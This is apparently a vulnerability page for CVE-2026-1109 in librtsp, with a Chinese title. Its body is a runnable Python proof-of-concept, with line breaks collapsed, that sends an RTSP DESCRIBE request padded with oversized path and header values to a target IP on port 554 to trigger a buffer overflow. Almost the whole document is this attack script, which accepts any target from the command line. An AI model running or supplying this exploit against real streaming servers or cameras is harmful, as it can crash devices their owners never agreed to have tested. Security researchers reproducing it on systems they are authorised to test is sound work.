CVE-2026-1109 librtsp rtsp_parse_request 缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2026-1109 PoC - librtsp rtsp_parse_request Buffer Overflow # This PoC demonstrates sending a malicious RTSP request with oversized headers import socket import sys def create_malicious_rtsp_request(): """Generate a malformed RTSP request to trigger buffer overflow in rtsp_parse_request""" # RTSP method and path method = "DESCRIBE" path = "/" + "A" * 2000 # Long path to overflow buffer # RTSP version version = "RTSP/1.0\r\n" # Malformed headers with oversized values headers = { "CSeq": "1", "User-Agent": "A" * 1500, # Oversized User-Agent header "Accept": "A" * 1000, "Authorization": "A" * 2000 # Potential overflow point } # Build the request request = f"{method} {path} {version}" for header, value in headers.items(): request += f"{header}: {value}\r\n" request += "\r\n" return request.encode('utf-8') def exploit(target_ip, target_port=554): """Send the malicious RTSP request to target""" print(f"[*] Sending malicious RTSP request to {target_ip}:{target_port}") print(f"[*] Request size: {len(create_malicious_rtsp_request())} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send malicious request sock.send(create_malicious_rtsp_request()) print("[+] Malicious request sent successfully") # Wait for response try: response = sock.recv(4096) print(f"[+] Received response: {response[:100]}") except socket.timeout: print("[!] No response received - target may have crashed") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 exploit(target, port)